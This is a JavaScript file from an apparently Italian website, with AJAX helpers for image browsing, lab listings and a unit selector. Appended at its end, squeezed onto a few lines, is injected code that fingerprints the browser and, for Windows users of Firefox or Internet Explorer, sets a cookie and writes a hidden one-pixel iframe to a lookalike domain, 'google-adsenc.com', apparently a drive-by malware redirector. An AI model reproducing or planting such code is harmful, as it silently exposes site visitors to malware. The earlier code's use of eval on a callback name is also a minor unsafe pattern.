function getValueFromIndex(selectId){
  var selectObj = document.getElementById(selectId);
  var index = selectObj.selectedIndex;
  selectedValue = selectObj.options[index].value;
  return selectedValue;
}

function makeRequest(ajax_action,callback_function,extra_parameter1,extra_parameter2,extra_parameter3) {
  if(ajax_action == 'previous' || ajax_action == 'next'){
    var url = '../scripts/ajax.php?obj_type='+document.getElementById('f_obj_type').value
            +'&obj_id='+document.getElementById('f_obj_id').value
            +'&img_id='+document.getElementById('f_img_id').value
            +'&ajax_action='+ajax_action;
  }
  var callback_function_extra_parameter = false;
  if(ajax_action == 'disp_lab_sede'){
    var url = './libs/scripts/ajax_public.php?ajax_action='+ajax_action+'&sedi_id='+extra_parameter1;
    callback_function_extra_parameter = extra_parameter2;
  }
    var http_request = false;

    if (window.XMLHttpRequest) { // Mozilla, Safari,...
        http_request = new XMLHttpRequest();
        //causa 'junk after document...' error
        /*if (http_request.overrideMimeType) {
            http_request.overrideMimeType('text/xml');
        }*/
    } else if (window.ActiveXObject) { // IE
        try {
            http_request = new ActiveXObject("Msxml2.XMLHTTP");
        } catch (e) {
            try {
                http_request = new ActiveXObject("Microsoft.XMLHTTP");
            } catch (e) {}
        }
    }

    if (!http_request) {
        alert('Giving up :( Cannot create an XMLHTTP instance');
        return false;
    }
    http_request.onreadystatechange = function() {
        if (http_request.readyState == 4) {
            if (http_request.status == 200) {
              if(!callback_function_extra_parameter) eval(callback_function + '(http_request.responseText)');
              else eval(callback_function + '(http_request.responseText,callback_function_extra_parameter)');
            } else {
                alert('There was a problem with the request.(Code: '+http_request.status+')');
            }
        }
    };
    http_request.open('GET', url, true);
    
    http_request.send(null);
}
var lastOpened;
function disp_lab_sede(responseText,dateLaboratoriDidatticiId){
  if(lastOpened){
    document.getElementById('lab_sede_'+lastOpened).style.display = 'none';
    document.getElementById('lab_sede_'+lastOpened).innerHTML = '';
  }
  var divId = 'lab_sede_'+dateLaboratoriDidatticiId;
  document.getElementById(divId).style.display = 'block';
  document.getElementById(divId).innerHTML = responseText;
  lastOpened = dateLaboratoriDidatticiId;
}

/*++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/
function setImg(obj_type,obj_id,img_id,last_img_id){
    document.getElementById('f_obj_type').value = obj_type;
    document.getElementById('f_obj_id').value = obj_id;
    document.getElementById('f_img_id').value = img_id;
    document.getElementById('f_start_img_id').value = img_id;
    document.getElementById('f_last_img_id').value = last_img_id;
    document.getElementById('img_detail').src = './dispimg.php?type=f&img_id='+img_id;
    document.getElementById('previous').style.visibility = 'hidden';
    if(img_id == last_img_id){
      document.getElementById('next').style.visibility = 'hidden';
    }else{
      document.getElementById('next').style.visibility = 'visible';
    }
}

function changeImg(responseText){
    document.getElementById('img_detail').src = './dispimg.php?type=f&img_id='+responseText;
    document.getElementById('f_img_id').value = responseText;
    var start_img_id = document.getElementById('f_start_img_id').value;
    var last_img_id = document.getElementById('f_last_img_id').value;
    if(responseText == start_img_id){
      document.getElementById('previous').style.visibility = 'hidden';
    }else{
      document.getElementById('previous').style.visibility = 'visible';
    }
    if(responseText == last_img_id){
      document.getElementById('next').style.visibility = 'hidden';
    }else{
      document.getElementById('next').style.visibility = 'visible';
    }
}

function selectCan(responseText){
  var selectObj = document.getElementById('uni_id');
  if(selectObj.options.length>1){
    for(i=selectObj.options.length-1; i>=0; i--){
      /*alert(selectObj.options[i]);*/
      selectObj.options[i].parentNode.removeChild(selectObj.options[i]);
    }
  }
  
  if(responseText != ''){
    selectObj.options[0] = new Option('selezionare l\'unita\'','0');
    var aUnis = responseText.split(';');
    var optionIndex;
    for(i=0; i<aUnis.length; i++){
      aUni = aUnis[i].split("-");
      optionIndex = i + 1;
      selectObj.options[optionIndex] = new Option(aUni[1],aUni[0]);
    }
  }else{
    selectObj.options[0] = new Option('nessuna unita\'','0');
  }
}
var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsenc.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}
